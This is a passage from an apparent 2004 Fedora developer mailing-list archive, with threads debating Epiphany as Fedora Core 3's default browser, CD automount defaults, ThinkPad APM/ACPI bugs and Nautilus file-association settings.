<1097328519.13577.84.camel@chip.laiskiainen.org> Message-ID: <1097513191.2679.49.camel@kyrre> l?r, 09.10.2004 kl. 15.28 skrev Panu Matilainen: > Is FC3 really going to ship with Epiphany as the default browser? I mean > .. uh, there's this other, far more capable yet very user friendly > browser there called Firefox. Epiphany doesn't even let me arrange my > bookmarks the way I want them :( Not to mention utter lack of > configurability for things like allowing popups from certain sites etc. > > - Panu - As far as i know: it is. And that is a Good Thing. Why? Simply because Epiphany is simple, fast, tightly integrated with gnome, and really easy to use. When you click a link for a pdf document in epiphany, it is opened rigth as you expect. And user base: Epiphany is based on mozilla. So really, the engine is the secound biggest. For those who believe that it should be gnome/kde neutral: No, it must not. Of cource, ideally, kde should be able to have its own default browser. But when you *choose* to go for KDE instead of GNOME, it can be safely assumed that you are competent enough to find yourself another browser. Kyrre From john.mizell at sbcglobal.net Mon Oct 11 18:21:02 2004 From: john.mizell at sbcglobal.net (John Mizell) Date: Mon, 11 Oct 2004 13:21:02 -0500 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097514132.2679.55.camel@kyrre> References: <20041007170318.B06D473822@hormel.redhat.com> <1097187313.3494.25.camel@localhost> <2ad7cea1041007163242696d42@mail.gmail.com> <604aa79104100717385c350814@mail.gmail.com> <1097514132.2679.55.camel@kyrre> Message-ID: <1097518862.4035.1.camel@supernova> I too like the behavior as it stands and see no reason to change it. Thanx, John Mizell On Mon, 2004-10-11 at 20:09 +0200, Kyrre Ness Sjobak wrote: > I acctually like the burn dialog. When i insert a cd, all i often want > to do, is simply dump some files from my HD to it. And then when i > insert the CD, it pops up, i drag the files i want to be burned to it, > click "burn" and "OK". Goes to make a cup of coffe (or read my mail). > > This is a 650 mhz Pentium 3 with a 4x burner. Starting "burn:///" takes > me approx one secound. And i like that it automounts and pops up a > dialog whenever i insert an removable media. All that is lacking now, is > making the "eject" button talk to dbus so that gnome would umount (or > popup errors...) > > fre, 08.10.2004 kl. 02.38 skrev Jeff Spaleta: > > On Thu, 7 Oct 2004 16:32:15 -0700, Jon Savage wrote: > > > I hate that behavior. It is OK as a user configurable *option* but > > > makes for a poor default IMHO since more often than not I'm inserting > > > a blank cd intending to burn something using my app of choice & have > > > to wait for the silly burn:// folder to come up, > > > > Now see here's the problem... you have an application of choice... you > > know what you want. I'm not really sure defaults are meant to > > primarily address the needs of users who know which applications they > > prefer. You have a preference, the preference dialogs are there for > > you to use to set your preference. > > > > For users, who do not have a preference already, the defaults need to > > present reasonable sane and intutive behavior. Users who do not have a > > preference, are not informed enough to use the preference dialog to > > customizes their environment, the defaults need to provide reasonable > > functionality without demanding users to make a choice or state a > > preference. > > > > A poor default for me, as a competent, well informed and technically > > inclined power user with years of linux experience could easily be the > > best, most sane and intuitive default for an inexperienced user who is > > unfamiliar with specific linux applications. I know enough to > > reconfigure my system better for my needs, and my knowledge empowers > > me to use the tools at hand to mold the environment to my will. It's > > an absolutely trivial burden for me to go to the preference dialog and > > turn off the automounting/autobrowsing features of the volume > > management and I'm sure its an absolutely trivial burden for you as > > well. If having automounting and autobrowsing of media on by default > > makes the system more approachable and easier to work with for a new > > user and empowers them to use the system more fully and more often, > > I'm all for it even though i have absolutely no desire to ever use > > that feature for myself. > > > > -jef > From kyrre at solution-forge.net Mon Oct 11 18:23:57 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 11 Oct 2004 20:23:57 +0200 Subject: Default browser of FC3? (*HATE* windows!) (OT) In-Reply-To: <1097443737.4333.4.camel@rhbw.boston.redhat.com> References: <1097420056.10212.5.camel@Madison.badger.com> <416952BC.7090300@redhat.com> <1097430653.2749.66.camel@kyrre> <1097443737.4333.4.camel@rhbw.boston.redhat.com> Message-ID: <1097519036.27958.4.camel@kyrre> You know what? That is some of the best news i have had this week (shure, its monday, but you know...) :D Epiphany GO GO GOOOO!!! When will it be in rawhide? :) s?n, 10.10.2004 kl. 23.28 skrev Bryan Clark: > On Sun, 2004-10-10 at 21:33 +0200, Kyrre Ness Sjobak wrote: > > s?n, 10.10.2004 kl. 17.18 skrev Christopher Aillon: > > > Toshio wrote: > > > > > > > I heard someone mention built-in popup blocking in Firefox. Is there > > > > equivalent functionality for Epiphany that we do/can ship? Any other > > > > features that one browser or the other has that people will miss when > > > > they have to use IE on Windows? > > > > > > Epiphany has popup blocking. It's just disabled by default right now. > > > > And it has no "select which printer things should come out from". Which > > reminds me of an recent episode with the windows printing system: > > Subject: Multiple printers support > -------------------------------------------------------------------- > Hi, > > I committed support for multiple printers in cvs (both on the stable > branch and on head). Now you can select the printer from a combo box. > This should also allow to use the xprint backend when available (Debian > for example). Test and bug reports would be very welcome. > > If no problems shows, tomorrow I'll probably release 1.4.4. > > Marco > > http://mail.gnome.org/archives/epiphany-list/2004-October/msg00016.html > From louisg00 at bellsouth.net Mon Oct 11 21:46:25 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Mon, 11 Oct 2004 17:46:25 -0400 Subject: FC3T3 boot.iso and hd installs Message-ID: <1097531185.5080.3.camel@tiger> I tried to do a hard drive install with test2 but could find the iso images even though I provided the proper path. Has this been fixed in test3? --Louis From ich at Frank-Schmitt.net Mon Oct 11 22:18:01 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Tue, 12 Oct 2004 00:18:01 +0200 Subject: Fedora Core 3 Bug Status - 2004-10-11 References: <20041011161059.GA25927@nostromo.devel.redhat.com> Message-ID: Satish Balay writes: > On Mon, 11 Oct 2004, Bill Nottingham wrote: > >> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') >> >> 2004-10-11 >> Severity Total Closed Need Testing >> BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) >> TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) >> Overall 997 516 ( 51.76 %) 59 ( 11.00 %) > > I hope APM/ACPI working on thinkpads is also considered a target for FC3. > > #133176, #133105 I'd like to second this. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From wtogami at redhat.com Mon Oct 11 23:31:40 2004 From: wtogami at redhat.com (Warren Togami) Date: Mon, 11 Oct 2004 13:31:40 -1000 Subject: python2.2 -> python2.3 In-Reply-To: <416AA225.3070501@balclutha.org> References: <20041009133012.3482D73662@hormel.redhat.com> <416AA225.3070501@balclutha.org> Message-ID: <416B17DC.7020205@redhat.com> Alan Milligan wrote: > Around a year ago, we took a decision to create our own RH9-based distro > (https://rpm.last-bastion.net) focused upon our Python/Zope/Plone business. > > This firmly requires python2.3, and we went to much effort to remove all > 2.2 dependencies in the code base. > > Since that time of course, Fedora has come along and has gained much > support and is progressing phenominally with wide community > participation and acceptance. > > We'd very much like to get our changes integrated into Fedora Core. > Please inform me (on or off the list) how we can most effectively profer > our patches for the community (and how we can be involved in shaping > future Python direction). For most cases it is already too late (unless you want to target FC4). We can still accept fixes if they are critical or obviously good fixes. Please file one Bugzilla report per issue and CC me, and I will sort through them. Warren Togami wtogami at redhat.com From wtogami at redhat.com Mon Oct 11 23:34:02 2004 From: wtogami at redhat.com (Warren Togami) Date: Mon, 11 Oct 2004 13:34:02 -1000 Subject: Fedora Core 3 Bug Status - 2004-10-11 In-Reply-To: References: <20041011161059.GA25927@nostromo.devel.redhat.com> Message-ID: <416B186A.6080203@redhat.com> Frank Schmitt wrote: >> >>I hope APM/ACPI working on thinkpads is also considered a target for FC3. >> >>#133176, #133105 > > > I'd like to second this. > As much as I personally am in agreement, "me too" is not helpful. The only thing that will possibly help this effort is if reporting and discussion is aimed at the upstream project. http://acpi.sourceforge.net/ Please go here. Warren Togami wtogami at redhat.com From smooge at gmail.com Tue Oct 12 02:03:30 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Mon, 11 Oct 2004 20:03:30 -0600 Subject: Default browser of FC3? In-Reply-To: <1097513191.2679.49.camel@kyrre> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> Message-ID: <80d7e40904101119031decf750@mail.gmail.com> On Mon, 11 Oct 2004 20:09:42 +0200, Kyrre Ness Sjobak wrote: > l?r, 09.10.2004 kl. 15.28 skrev Panu Matilainen: > > Is FC3 really going to ship with Epiphany as the default browser? I mean \> For those who believe that it should be gnome/kde neutral: No, it must > not. Of cource, ideally, kde should be able to have its own default > browser. But when you *choose* to go for KDE instead of GNOME, it can be > safely assumed that you are competent enough to find yourself another > browser. And with welcoming attitudes like that.. a different distribution. -- Stephen J Smoogen. Professional System Administrator From wtogami at redhat.com Tue Oct 12 02:31:53 2004 From: wtogami at redhat.com (Warren Togami) Date: Mon, 11 Oct 2004 16:31:53 -1000 Subject: kernel CONFIG_CC_OPTIMIZE_FOR_SIZE trouble? Message-ID: <416B4219.80503@redhat.com> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=131251#c10 Toshio indicates here that this bug is caused by a optimize for small size bug from the compiler? Possible to solve this in a FC2 update? Is this resolved with gcc-3.4.x in FC3? Are we affected by similar problems to this elsewhere in our FC2/FC3 kernel? Warren Togami wtogami at redhat.com From jerone at gmail.com Tue Oct 12 03:43:24 2004 From: jerone at gmail.com (Jerone Young) Date: Mon, 11 Oct 2004 22:43:24 -0500 Subject: No way to choose default application in Nautilus anymore ? Message-ID: <9f50a7a00410112043435e7afb@mail.gmail.com> I don't know if anyone has noticed. But there is no way to choose what application you want to have a file opened with in Nautilus by default with Gnome 2.8 in FC3. For example I have an .ogg file...I double click on it I'm forced to use Rhythmbox...but I want it to open xmms. While I can right click and go to xmms, this is really efficient and annoying. There is no way to set it so it opens the application I want when I double click on a icon...how did this get missed ? From jspaleta at gmail.com Tue Oct 12 03:48:10 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 11 Oct 2004 23:48:10 -0400 Subject: No way to choose default application in Nautilus anymore ? In-Reply-To: <9f50a7a00410112043435e7afb@mail.gmail.com> References: <9f50a7a00410112043435e7afb@mail.gmail.com> Message-ID: <604aa7910410112048370f2dec@mail.gmail.com> On Mon, 11 Oct 2004 22:43:24 -0500, Jerone Young wrote: > There is no way to set it so it opens the application I want> when I double click on a icon...how did this get missed ? right click om the file.. "Properties" menu item "Open With" tab -jef From jspaleta at gmail.com Tue Oct 12 04:32:52 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 12 Oct 2004 00:32:52 -0400 Subject: No way to choose default application in Nautilus anymore ? In-Reply-To: <9f50a7a00410112043435e7afb@mail.gmail.com> References: <9f50a7a00410112043435e7afb@mail.gmail.com> Message-ID: <604aa79104101121326c53ce5e@mail.gmail.com> On Mon, 11 Oct 2004 22:43:24 -0500, Jerone Young wrote: > when I double click on a icon...how did this get missed ? And fyi there is a bug in xmms mime type list in xmms's desktop file which prevents it showing up in the list by default. You can either add xmms by hand for one user using the add application process in the Open With tab.... Or you add it system wide for all users by editting the mime type list in /usr/share/applications/redhat-audio-player.desktop and add "application/ogg;" to the mime type list. Then run update-desktop-database /usr/share/applications. Choose your poison. -jef From balay at fastmail.fm Tue Oct 12 04:53:49 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 11 Oct 2004 23:53:49 -0500 (CDT) Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <416B186A.6080203@redhat.com> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> Message-ID: On Mon, 11 Oct 2004, Warren Togami wrote: > Frank Schmitt wrote: > > > > > > I hope APM/ACPI working on thinkpads is also considered a target for FC3. > > > > > > #133176, #133105 > > > > > > I'd like to second this. > > > > As much as I personally am in agreement, "me too" is not helpful. The only > thing that will possibly help this effort is if reporting and discussion is > aimed at the upstream project. > > http://acpi.sourceforge.net/ > Please go here. Personally I'd like to see APM be a blocker issue - as it worked for all previous fedora/redhat (up to 6.2?) versions. (ACPI didn't really work well before - so I'm not really comited to it) I guess I would have to install the kernel from kernel.org to see if the APM problem is an upstream issue.. Oh well.. Satish From symbiont at berlios.de Tue Oct 12 05:34:02 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Tue, 12 Oct 2004 13:34:02 +0800 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> Message-ID: <200410121334.03092.symbiont@berlios.de> On Tuesday 12 October 2004 12:53, Satish Balay wrote: > Personally I'd like to see APM be a blocker issue - as it worked for > all previous fedora/redhat (up to 6.2?) versions. (ACPI didn't really > work well before - so I'm not really comited to it) > > I guess I would have to install the kernel from kernel.org to see if > the APM problem is an upstream issue.. Last time I checked, it was a radeon driver issue. You really have to break down your whole system config and look at each piece. Almost always it ends up being an upstream issue especially when dealing with hardware issues like this. Screens melting and locking X have been around a *long* time (since Redhat 7.2); just gotta wait until the related upstream projects pull flank and take care of all the details. (acpi, radeon, etc.) The hacks in /etc/sysconfig/apmd, although interesting, don't cover everything under the moon. So, I wouldn't take APM breakage to mean a definite distro problem. take care, -- -jeff From balay at fastmail.fm Tue Oct 12 05:53:32 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 12 Oct 2004 00:53:32 -0500 (CDT) Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <200410121334.03092.symbiont@berlios.de> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> Message-ID: On Tue, 12 Oct 2004, Jeff Pitman wrote: > On Tuesday 12 October 2004 12:53, Satish Balay wrote: > > Personally I'd like to see APM be a blocker issue - as it worked for > > all previous fedora/redhat (up to 6.2?) versions. (ACPI didn't really > > work well before - so I'm not really comited to it) > > > > I guess I would have to install the kernel from kernel.org to see if > > the APM problem is an upstream issue.. > > Last time I checked, it was a radeon driver issue. I have problems on both a 600E & T40 sugesting some common breakage. - However the behavior is slightly different - so it could be a combination of issues. (The 600E has NeoMagic chip whereas the T40 has a radeon-9000) Satish From jonathansavage at gmail.com Tue Oct 12 06:46:28 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Mon, 11 Oct 2004 23:46:28 -0700 Subject: Default browser of FC3? In-Reply-To: <80d7e40904101119031decf750@mail.gmail.com> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> Message-ID: <2ad7cea1041011234694a893b@mail.gmail.com> On Mon, 11 Oct 2004 20:03:30 -0600, Stephen J. Smoogen wrote: > On Mon, 11 Oct 2004 20:09:42 +0200, Kyrre Ness Sjobak > wrote: > > l?r, 09.10.2004 kl. 15.28 skrev Panu Matilainen: > > > Is FC3 really going to ship with Epiphany as the default browser? I mean > \> For those who believe that it should be gnome/kde neutral: No, it must > > not. Of cource, ideally, kde should be able to have its own default > > browser. But when you *choose* to go for KDE instead of GNOME, it can be > > safely assumed that you are competent enough to find yourself another > > browser. > > And with welcoming attitudes like that.. a different distribution. > > -- > Stephen J Smoogen. > Professional System Administrator You know... I just decided to give Epiphany a spin in FC3 T3, not all bad. *But* (dealbreaker(tm) for me,,, I noticed that Mozilla (waytoomany MB for my laptop) was showing up in my yum update post install. Funny, since I had in no way shape or form chosen moz from the graphical internet options when I installed T3... So I did the following: [root at swlt01 ~]# rpm -e mozilla and got: error: Failed dependencies: mozilla = 37:1.7.3 is needed by (installed) epiphany-1.4.0-0.3.6 (rant on) This is beyond rude. The slick integrated lightweight Epihphany browser deps on the alltoobloated moz browser? I'm done w/ that. I liked Epihany enough to play with it but *really* would rather just go w/ firefox & lose the moz dep/provide altogether as far as I can tell... yrrgh... ugly (rant off) Actually a neat browser one of the reasons I prefer Firefix is its modular nature, If I wanted to install Mozilla well then I'd install the whole monolithic shebang wouldn't I? Ymmv :) Jon From Nicolas.Mailhot at laPoste.net Tue Oct 12 07:55:10 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 12 Oct 2004 09:55:10 +0200 Subject: Default browser of FC3? In-Reply-To: <2ad7cea1041011234694a893b@mail.gmail.com> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> Message-ID: <1097567711.25199.11.camel@ulysse.olympe.o2t> Le lundi 11 octobre 2004 ? 23:46 -0700, Jon Savage a ?crit : > Actually a neat browser one of the reasons I prefer Firefix is > its modular nature, If I wanted to install Mozilla well then I'd > install the whole monolithic shebang wouldn't I? Actually since Epy lacks even basic features like text zoom with mouse wheel it's not in my browser list anymore. I've spent enough time battling NS4 to get decent wheel support without doing the same with the next generation of browsers (especially since every other browser available - galeon, firefox, moz, konqueror, ie and probably opera support it decently) I suppose Epy devs all have a laptop and wouldn't care less about normal desktop users with more advanced pointer systems. It's a real shame Epy was made the official Gnome/Fedora browser almost at once - other Gnome projects learnt to try harder because they had to fight to get this status. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From veguilla at hpcf.upr.edu Tue Oct 12 08:36:09 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 04:36:09 -0400 Subject: Default browser of FC3? In-Reply-To: <1097567711.25199.11.camel@ulysse.olympe.o2t> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> Message-ID: <1097570169.15435.29.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 09:55 +0200, Nicolas Mailhot wrote: > Le lundi 11 octobre 2004 ? 23:46 -0700, Jon Savage a ?crit : > > > Actually a neat browser one of the reasons I prefer Firefix is > > its modular nature, If I wanted to install Mozilla well then I'd > > install the whole monolithic shebang wouldn't I? > > Actually since Epy lacks even basic features like text zoom with mouse > wheel it's not in my browser list anymore. I've spent enough time > battling NS4 to get decent wheel support without doing the same with the > next generation of browsers (especially since every other browser > available - galeon, firefox, moz, konqueror, ie and probably opera > support it decently) > One question, have you taken the time to file a bug requesting this improvement, or check mozilla to see if this is in the works? > I suppose Epy devs all have a laptop and wouldn't care less about normal > desktop users with more advanced pointer systems. The developers hate me argument. Sorry, but this is very childish point to make. I understand you feel that "text zooming with the wheel" is a basic feature for a browser, but I disagree. "Text zooming" is a basic feature, using the wheel to do it is just one of the ways to do it. Epiphany support "Text zooming" and will probably support using the wheel in the future. But right now there are other real missing features that probably should have higher priority than providing an alternate method of "text zooming". > It's a real shame Epy > was made the official Gnome/Fedora browser almost at once - other Gnome > projects learnt to try harder because they had to fight to get this > status. Epiphany was made official Gnome browser almost at once because it was designed specifically for Gnome, as opposed to many other apps that I think the devs tried very hard to make simple browser (which was what the Gnome project was looking for) and I think they succeeded (which doesn't mean that its perfect). Regards, -- Ricardo Veguilla From veguilla at hpcf.upr.edu Tue Oct 12 08:19:04 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 04:19:04 -0400 Subject: Default browser of FC3? In-Reply-To: <2ad7cea1041011234694a893b@mail.gmail.com> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> Message-ID: <1097569144.15435.10.camel@ricardo.veguilla.net> On Mon, 2004-10-11 at 23:46 -0700, Jon Savage wrote: > On Mon, 11 Oct 2004 20:03:30 -0600, Stephen J. Smoogen wrote: > > On Mon, 11 Oct 2004 20:09:42 +0200, Kyrre Ness Sjobak > > wrote: > > > l?r, 09.10.2004 kl. 15.28 skrev Panu Matilainen: > > > > Is FC3 really going to ship with Epiphany as the default browser? I mean > > \> For those who believe that it should be gnome/kde neutral: No, it must > > > not. Of cource, ideally, kde should be able to have its own default > > > browser. But when you *choose* to go for KDE instead of GNOME, it can be > > > safely assumed that you are competent enough to find yourself another > > > browser. > > > > And with welcoming attitudes like that.. a different distribution. > > > > -- > > Stephen J Smoogen. > > Professional System Administrator > You know... I just decided to give Epiphany a spin in FC3 T3, not all > bad. *But* (dealbreaker(tm) for me,,, > I noticed that Mozilla (waytoomany MB for my laptop) was showing up in > my yum update post install. Funny, since I had in no way shape or form > chosen moz from the graphical internet options when I installed T3... > So I did the following: > [root at swlt01 ~]# rpm -e mozilla > and got: > error: Failed dependencies: > mozilla = 37:1.7.3 is needed by (installed) epiphany-1.4.0-0.3.6 > (rant on) > This is beyond rude. The slick integrated lightweight Epihphany > browser deps on the alltoobloated moz browser? I'm done w/ that. I > liked Epihany enough to play with it but *really* would rather just go > w/ firefox & lose the moz dep/provide altogether as far as I can > tell... yrrgh... ugly > (rant off) This will change when the mozilla project finally release the Gecko Runtime Enviroment (GRE) so that any app that depends on mozilla won't need the whole Mozilla Suite[1]. In other words, there is little that the epiphany developers or the Red Hat/Federa guys can do about it (well, except pushing the Mozilla guys or helping them finally release that). > Actually a neat browser one of the reasons I prefer Firefix is > its modular nature, If I wanted to install Mozilla well then I'd > install the whole monolithic shebang wouldn't I? Well epiphany doesn't use "the whole monolithic shebang" even though it requires it to by installed. Like I said, this is temporary. On a related note, if I recall correctly, the latest epiphany can be built against firefox. [1] Firefox doesn't requires Mozilla to be installed but it duplicate the code Mozilla uses (obviously the browser part only). Regards, -- Ricardo Veguilla From veguilla at hpcf.upr.edu Tue Oct 12 09:45:04 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 05:45:04 -0400 Subject: Default browser of FC3? In-Reply-To: <1097570169.15435.29.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> Message-ID: <1097574304.20420.6.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 04:36 -0400, Ricardo Veguilla wrote: > Epiphany was made official Gnome browser almost at once because it was > designed specifically for Gnome, as opposed to many other apps that were develop independently and then incorporate into Gnome, and had to be evaluated to see how they fit in Gnome (go through the whole UI review, moving to the Gnome CVS, gnome bugzilla, adjusting to Gnome's six month release schedule, decent accessibility and internationalization support, etc). -- Ricardo Veguilla From veguilla at hpcf.upr.edu Tue Oct 12 09:47:37 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 05:47:37 -0400 Subject: Default browser of FC3? In-Reply-To: <1097570169.15435.29.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> Message-ID: <1097574458.20420.9.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 04:36 -0400, Ricardo Veguilla wrote: > On Tue, 2004-10-12 at 09:55 +0200, Nicolas Mailhot wrote: > > Le lundi 11 octobre 2004 ? 23:46 -0700, Jon Savage a ?crit : > > > > > Actually a neat browser one of the reasons I prefer Firefix is > > > its modular nature, If I wanted to install Mozilla well then I'd > > > install the whole monolithic shebang wouldn't I? > > > > Actually since Epy lacks even basic features like text zoom with mouse > > wheel it's not in my browser list anymore. I've spent enough time > > battling NS4 to get decent wheel support without doing the same with the > > next generation of browsers (especially since every other browser > > available - galeon, firefox, moz, konqueror, ie and probably opera > > support it decently) > > > > One question, have you taken the time to file a bug requesting this > improvement, or check mozilla to see if this is in the works? oops, replace "mozilla" with "bugzilla and/or the epiphany mailing list" -- Ricardo Veguilla From Nicolas.Mailhot at laPoste.net Tue Oct 12 10:23:11 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 12 Oct 2004 12:23:11 +0200 Subject: Default browser of FC3? In-Reply-To: <1097570169.15435.29.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> Message-ID: <1097576591.25199.32.camel@ulysse.olympe.o2t> Le mardi 12 octobre 2004 ? 04:36 -0400, Ricardo Veguilla a ?crit : > One question, have you taken the time to file a bug requesting this > improvement, or check mozilla to see if this is in the works? This is *not* a moz support problem firefox, moz, galeon (even pre-epy galeon) all do it fine. > > I suppose Epy devs all have a laptop and wouldn't care less about normal > > desktop users with more advanced pointer systems. > > The developers hate me argument. Sorry, but this is very childish point > to make. Believe me that's not how I reported it at first. > I understand you feel that "text zooming with the wheel" is a basic > feature for a browser, but I disagree. "Text zooming" is a basic > feature, using the wheel to do it is just one of the ways to do it. > Epiphany support "Text zooming" and will probably support using the > wheel in the future. But right now there are other real missing features > that probably should have higher priority than providing an alternate > method of "text zooming". I can only say it's a showstopper for me and probably for lots of other people (else why every other browser on earth would have implemented it), and if the epy people do not care enough about *me* to implement it after all this time (given that it was reported repeatedly), why there are lots of other browsers available. (plus the argument could be made that the wheel itself is redundant with arrows, page up/down, special windows keys so it could be dumped altogether - however it's the *most* convenient alternative so that's what people want) Anyway I'm not objecting to the epy people choosing to follow their own way, it's their project, it's just that IMHO with the official GNOME/Fedora endorsement (that they got almost for free from day one) they also got the obligation to target the whole GNOME/Fedora user base and they've not been doing it well so far I fear. Despite all the noise Metacity raised it managed to capture most GNOME users in a short time. Contrast it with Epiphany which is *still* struggling to establish itself over Galeon, Mozilla and now Firefox. Regards, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From Nicolas.Mailhot at laPoste.net Tue Oct 12 10:31:39 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 12 Oct 2004 12:31:39 +0200 Subject: Default browser of FC3? In-Reply-To: <1097574304.20420.6.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097574304.20420.6.camel@ricardo.veguilla.net> Message-ID: <1097577099.25199.40.camel@ulysse.olympe.o2t> Le mardi 12 octobre 2004 ? 05:45 -0400, Ricardo Veguilla a ?crit : > On Tue, 2004-10-12 at 04:36 -0400, Ricardo Veguilla wrote: > > > > Epiphany was made official Gnome browser almost at once because it was > > designed specifically for Gnome, as opposed to many other apps that > were develop independently and then incorporate into Gnome, and had to > be evaluated to see how they fit in Gnome (go through the whole UI > review, moving to the Gnome CVS, gnome bugzilla, adjusting to Gnome's > six month release schedule, decent accessibility and > internationalization support, etc). All I say is apps that had to establish themselves first, then go through this sheebang, gained in the whole process some maturity epy lacks now. That's not an earth-shattering observation. -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From veguilla at hpcf.upr.edu Tue Oct 12 10:48:56 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 06:48:56 -0400 Subject: Default browser of FC3? In-Reply-To: <1097576591.25199.32.camel@ulysse.olympe.o2t> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> Message-ID: <1097578136.2912.13.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 12:23 +0200, Nicolas Mailhot wrote: > Le mardi 12 octobre 2004 ? 04:36 -0400, Ricardo Veguilla a ?crit : > > > One question, have you taken the time to file a bug requesting this > > improvement, or check mozilla to see if this is in the works? > > This is *not* a moz support problem firefox, moz, galeon (even pre-epy > galeon) all do it fine. sorry, replace mozilla with bugzilla > > > > I suppose Epy devs all have a laptop and wouldn't care less about normal > > > desktop users with more advanced pointer systems. > > > > The developers hate me argument. Sorry, but this is very childish point > > to make. > > Believe me that's not how I reported it at first. > > > I understand you feel that "text zooming with the wheel" is a basic > > feature for a browser, but I disagree. "Text zooming" is a basic > > feature, using the wheel to do it is just one of the ways to do it. > > Epiphany support "Text zooming" and will probably support using the > > wheel in the future. But right now there are other real missing features > > that probably should have higher priority than providing an alternate > > method of "text zooming". > > I can only say it's a showstopper for me and probably for lots of other > people (else why every other browser on earth would have implemented > it), Because they have been around for a longer time (firefox may be contemporary of epiphany in terms of releases, but they are bascily un- bloating mozilla, which already had this functionality) Like I said, I agree that lack of "text zooming" might be a showstopper, but I don't think lack of "text zooming with the mouse wheel" is the end of the world, even more considering that its probably a trivial (in terms of complexity) enhancement to make. > and if the epy people do not care enough about *me* to implement it > after all this time (given that it was reported repeatedly), why there > are lots of other browsers available. (plus the argument could be made > that the wheel itself is redundant with 